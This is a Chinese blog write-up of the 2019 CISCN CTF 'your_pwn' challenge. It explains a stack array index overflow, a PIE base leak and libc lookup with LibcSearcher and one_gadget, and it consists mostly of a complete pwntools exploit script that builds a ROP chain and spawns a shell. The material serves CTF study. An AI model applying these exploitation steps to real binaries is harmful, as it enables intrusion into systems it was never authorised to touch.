【PWN】2019-ciscn your——pwn

这题的漏洞点就在数组下标越界,造成栈上任意地址读写。

在做的时候遇到的坑点:

1.在于数组类型转换输出会造成误导:

如图:在栈上的十六进制数会先视为char类型,对不可见字符类型转换成int类型会变成负数,导致输出的十六进制最后俩位才是栈上的数值。

2.对不给libc.so的题可以用libcsearch和onegadget配合得到onegadget地址,因为我直接调用system函数会出现段错误,应该是在对栈上数据进行操作覆盖了环境变量???但是用onegadget就成功getshelll。

from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system")        #system 偏移
obj.dump("str_bin_sh")    #/bin/sh 偏移
obj.dump("__libc_start_main_ret")    
配合方法:1.泄露一个函数地址,libcsearch可以得到libc的版本,用onegadget在libc的db文件夹里找到其.so文件

2.得到onegadget得知加上libcbase

3.pie绕过:

之前没做过带pie的题目,总结一下:直接泄露出返回地址,再在Ida里找到偏移相减就是pie的基址,pie会随机化程序加载基址,例如text段,data段,因此找到的plt地址,got地址程序本身的gadget都要加上pie基址(pie随机不会改变最低三位(4KB),即只随机内存页分配,但是在同一个内存页的偏移是不变的)

附上本菜鸡的exp:

from pwn import *
from LibcSearcher import *
sh = process('./pwn')
#sh = remote('39.97.228.196',60007)
context.log_level = 'debug'


popebp=0x000000000000099b

poprdi=0x0000000000000d03

sh.recvuntil('input your name \n')
sh.sendline('a')


ret =''
s=0
i=0
#gdb.attach(sh)
#leak pie_base
for i in range(41):
	sh.recvuntil('input index\n')
	sh.sendline(str(0x158+i))
	bc = sh.recvline()[-3:-1]
	if s<6:	
		addr= bc
		if ' ' in addr:
			addr=addr.strip()
			addr = addr + '0'
			ret = ret + addr
		else:
			addr = addr[::-1]
			ret = ret + addr
		s=s+1
	sh.recvuntil('input new value\n')
	sh.sendline(str(int(bc.strip(),16)))
ret = ret[::-1]
ret = int(ret,16)
log.success("%x",ret)
pie_base = ret - 0xb11

pop_rdi = 0xd03 + pie_base
puts_plt = 0x8b0 + pie_base
puts_got = 0x202020 + pie_base
vuln = 0x950 + pie_base
sh.recvuntil('do you want continue(yes/no)? \n')
sh.sendline('yes')
i=0
def write_addr(x,addr):
	j=0
	st = str(hex(addr))
	for i in range(6):
		sh.recvuntil('input index\n')
		sh.sendline(str(0x158+i+x))
		sh.recvuntil('input new value\n')
		L = 12-2*j
		K = 14-2*j
		abd = st[L:K]
		sh.sendline(str(int(abd,16)))
		j=j+1
log.success("pop_rdi : %x",pop_rdi)
write_addr(0,pop_rdi)
write_addr(8,puts_got)
write_addr(16,puts_plt)
write_addr(24,vuln)
for i in range(41-24):
	sh.recvuntil('input index\n')
	sh.sendline('0')
	sh.recvuntil('input new value\n')
	sh.sendline('1')
sh.recvuntil('do you want continue(yes/no)? \n')
sh.sendline('yes')
put_addr=u64(sh.recvline().strip().ljust(8,'\x00'))
log.success("put addr:%x",put_addr)

libc = LibcSearcher('puts',put_addr)


libc_base = put_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")
sh.recvuntil('input your name \n')
sh.sendline('a')
one_gadget = 0x4f322+libc_base
write_addr(0,one_gadget)
write_addr(8,binsh)
write_addr(16,system_addr)
write_addr(24,vuln)
for i in range(41-24):
	sh.recvuntil('input index\n')
	sh.sendline(str(0+i))
	bc = sh.recvline()[-3:-1]
	sh.recvuntil('input new value\n')
	sh.sendline(str(int(bc.strip(),16)))
sh.recvuntil('do you want continue(yes/no)? \n')
#gdb.attach(sh)
sh.sendline('no')

sh.interactive()
sh.close()
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值